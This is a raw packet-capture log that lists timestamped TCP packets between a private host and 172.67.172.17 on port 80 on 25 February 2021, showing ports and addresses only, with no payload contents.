Feb 25, 2021 15:15:49.457281113 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457293034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457314968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457338095 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457359076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457370043 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457393885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457412004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457418919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457437038 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457452059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457463026 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457467079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457485914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457489967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457503080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457509995 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457519054 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457534075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457546949 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457550049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457566023 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457593918 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457616091 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.458116055 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.458137989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.458158016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.458173037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.458208084 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.458266973 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:55.046480894 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:59.890398979 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:59.952023029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:59.952613115 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:59.952835083 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.014318943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047290087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047307014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047370911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047380924 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.047391891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047410965 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047429085 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047446966 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.047451019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047468901 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.047472954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047491074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047508001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.047570944 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.047596931 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.048765898 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.048784018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.048841953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.050276041 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.050297022 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.050348043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.051714897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.051733017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.051805973 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.053214073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.053231001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.053293943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.054569960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.054589033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.054655075 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.055757999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.055764914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.055861950 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.057126999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.057143927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.057195902 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.058578014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.058594942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.058660984 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.059993982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.060010910 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.060075045 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.061450005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.061469078 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.061527014 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.109071970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.109111071 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.109195948 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.109745026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.109776974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.109847069 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.111188889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.111227036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.111296892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.112631083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.112662077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.112720013 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.114079952 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.114114046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.114187956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.115526915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.115560055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.115639925 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.116990089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.117022038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.117073059 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.118446112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.118473053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.119879007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.119913101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.119921923 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.119990110 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.121345997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.122056007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.122081995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.122137070 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.123493910 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.123523951 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.123598099 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.125021935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.125052929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.125117064 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.126400948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.126445055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.126517057 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.127846956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.127878904 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.127954960 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.129523039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.129554033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.129602909 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.130739927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.130773067 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.130841970 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.132196903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.132227898 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.132285118 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.133672953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.133713007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.133724928 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.135111094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.135143995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.135217905 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.136543036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.136575937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.136658907 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.138044119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.138537884 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.138725996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.138752937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.138807058 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.140221119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.140252113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.140314102 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.141599894 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.141633034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.141701937 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.170950890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.170996904 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.171078920 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.171574116 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.171605110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.171699047 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.172950029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.172987938 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.173090935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.174391985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.174427032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.174510956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.175746918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.175782919 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.175851107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.177177906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.177213907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.177314043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.178612947 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.178643942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.178704977 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.181509018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.181543112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.181627035 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.182219982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.183739901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.183780909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.183834076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.184416056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.184453011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.184515953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.185781956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.185816050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.185848951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.187166929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.187201977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.187284946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.188592911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.188627005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.188663006 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.189946890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.189985037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.190056086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.192420006 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.192435980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.192601919 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.193098068 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.193133116 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.193233967 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.194493055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.194530010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.194612980 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.196808100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.196849108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.196922064 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.197468996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.197488070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.197571039 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.198793888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.198862076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.200129032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.200160027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.200222015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.200786114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.200817108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.200882912 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.202055931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.202088118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.202156067 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.203309059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.203341961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.203402996 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.232822895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.232856989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.232930899 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.233222961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.233258009 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.233764887 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.234648943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.234687090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.234797955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.236124039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.236167908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.236370087 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.237448931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.237493992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.237628937 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.238907099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.238931894 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.239067078 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.240226984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.240262032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.240391970 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.243206978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.243238926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.243304968 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.245421886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.245464087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.245583057 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.246130943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.246162891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.246237040 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.247400045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.247433901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.247529030 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.248837948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.248868942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.248948097 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.250231028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.250260115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.250348091 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.251615047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.251650095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.251712084 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.254168034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.254204035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.254288912 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.254806995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.254837036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.254909992 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.256124973 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.256161928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.256247044 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.258516073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.258543015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.258636951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.259083033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.259115934 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.259180069 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.260389090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.260425091 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.260471106 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.261761904 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.261801958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.261900902 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.262526035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.262558937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.262682915 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.263680935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.263715982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.263802052 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.264965057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.265000105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.265139103 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.300017118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.300062895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.300153971 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.300604105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.300621986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.300745964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.301673889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.301707029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.302061081 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.302861929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.302892923 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.302948952 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.303750038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.303772926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.303826094 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.306291103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.306329012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.306417942 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.306643963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.306669950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.306730986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.307581902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.307617903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.307687998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.308456898 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.308495045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.308558941 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.309374094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.309418917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.309478998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.310295105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.310327053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.310384989 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.311151981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.311187983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.311295986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.312074900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.312088966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.312457085 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.312967062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.312994957 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.313062906 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.313901901 CET	80	49736	172.67.172.17	192.168.2.7
